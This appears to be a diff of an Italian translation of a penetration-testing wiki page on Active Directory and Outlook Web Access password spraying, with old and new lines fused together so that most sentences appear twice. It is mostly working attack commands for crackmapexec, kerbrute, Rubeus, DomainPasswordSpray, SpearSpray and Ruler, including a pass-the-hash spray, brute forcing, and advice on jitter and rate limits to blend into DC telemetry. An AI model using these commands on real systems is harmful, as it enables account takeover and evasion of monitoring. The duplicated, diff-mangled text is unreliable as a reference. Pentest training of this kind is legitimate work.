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src/windows-hardening/active-directory-methodology/password-spraying.md
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## **Password Spraying** ## **Password Spraying**
Una volta trovati diversi **nomi utente validi**, puoi provare le **password più comuni** (tieni presente la politica delle password dell'ambiente) con ciascuno degli utenti scoperti.\ Una volta trovati diversi **username validi** puoi provare le **password più comuni** (tieni presente la password policy dell'ambiente) con ciascuno degli utenti scoperti.\
Per **default**, la **lunghezza minima** della **password** è **7**. Per **default** la **lunghezza minima** della **password** è **7**.
Le liste di nomi utente comuni potrebbero essere utili: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Nota che **potresti bloccare alcuni account se provi diverse password errate** (per default più di 10). Nota che **potresti bloccare alcuni account se provi diverse password sbagliate** (di default più di 10).
### Get password policy ### Ottenere la password policy
Se hai alcune credenziali utente o una shell come utente di dominio, puoi **ottenere la politica delle password con**: Se hai delle credenziali utente o una shell come domain user puoi **ottenere la password policy con**:
```bash ```bash
# From Linux # From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,27 +31,27 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview (Get-DomainPolicy)."SystemAccess" #From powerview
``` ```
### Exploitation from Linux (or all) ### Sfruttamento da Linux (o qualsiasi sistema)
- Utilizzando **crackmapexec:** - Usando **crackmapexec:**
```bash ```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash) # Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine ## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
``` ```
- Utilizzando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) - Usando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
```bash ```bash
# Password Spraying # Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force # Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
``` ```
- [**spray**](https://github.com/Greenwolf/Spray) _**(puoi indicare il numero di tentativi per evitare il blocco):**_ - [**spray**](https://github.com/Greenwolf/Spray) _**(puoi indicare il numero di tentativi per evitare lockouts):**_
```bash ```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN> spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
``` ```
- Utilizzando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RACCOMANDATO A VOLTE NON FUNZIONA - Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RACCOMANDATO — A VOLTE NON FUNZIONA
```bash ```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -60,7 +60,7 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123
![](<../../images/image (745).png>) ![](<../../images/image (745).png>)
- Utilizzando **rpcclient**: - Usando **rpcclient**:
```bash ```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do for u in $(cat users.txt); do
@ -69,7 +69,7 @@ done
``` ```
#### Da Windows #### Da Windows
- Con la versione di [Rubeus](https://github.com/Zer1t0/Rubeus) con il modulo brute: - Con la versione di [Rubeus](https://github.com/Zer1t0/Rubeus) con brute module:
```bash ```bash
# with a list of users # with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file> .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,7 +77,7 @@ done
# check passwords for all users in current domain # check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file> .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
``` ```
- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare utenti dal dominio per impostazione predefinita e otterrà la politica delle password dal dominio e limiterà i tentativi in base ad essa): - Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare automaticamente gli utenti dal dominio e recupera la password policy dal dominio, limitando i tentativi in base a essa):
```bash ```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
``` ```
@ -85,21 +85,86 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
``` ```
Invoke-SprayEmptyPassword Invoke-SprayEmptyPassword
``` ```
## Forza Bruta ## Brute Force
```bash ```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
``` ```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-auth–based spraying riduce il rumore rispetto a SMB/NTLM/LDAP bind attempts e si allinea meglio con AD lockout policies. SpearSpray unisce LDAP-driven targeting, un motore di pattern e awareness delle policy (domain policy + PSOs + badPwdCount buffer) per sprayare in modo preciso e sicuro. Può anche taggare i principals compromessi in Neo4j per BloodHound pathing.
Concetti chiave:
- Scoperta degli utenti via LDAP con paginazione e supporto LDAPS, opzionalmente usando filtri LDAP personalizzati.
- Domain lockout policy + PSO-aware filtering per lasciare un buffer configurabile di tentativi (threshold) e evitare di bloccare gli utenti.
- Kerberos pre-auth validation usando binding gssapi veloci (genera 4768/4771 sui DCs invece di 4625).
- Generazione di password per utente basata su pattern usando variabili come nomi e valori temporali derivati da pwdLastSet di ogni utente.
- Controllo del throughput con threads, jitter e max requests per second.
- Integrazione opzionale con Neo4j per marcare owned users per BloodHound.
Uso base e scoperta:
```bash
# List available pattern variables
spearspray -l
# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
Targeting e controllo dei pattern:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
Controlli di stealth e sicurezza:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
```
Neo4j/BloodHound arricchimento:
```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
```
Panoramica del sistema dei pattern (patterns.txt):
```text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}
```
Available variables include:
- {name}, {samaccountname}
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Composition helpers and org token: {separator}, {suffix}, {extra}
Operational notes:
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
> Suggerimento: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access ## Outlook Web Access
Ci sono diversi strumenti per p**assword spraying outlook**. Ci sono diversi strumenti per p**assword spraying outlook**.
- Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) - Con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Con [Ruler](https://github.com/sensepost/ruler) (affidabile!) - Con [Ruler](https://github.com/sensepost/ruler) (affidabile!)
- Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) - Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Per utilizzare uno di questi strumenti, hai bisogno di un elenco di utenti e di una password / un piccolo elenco di password da spruzzare. Per usare uno qualsiasi di questi strumenti, ti serve una lista di utenti e una password / una piccola lista di password da spray.
```bash ```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020 [x] Failed: larsson:Summer2020
@ -120,6 +185,11 @@ Per utilizzare uno di questi strumenti, hai bisogno di un elenco di utenti e di
## Riferimenti ## Riferimenti
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)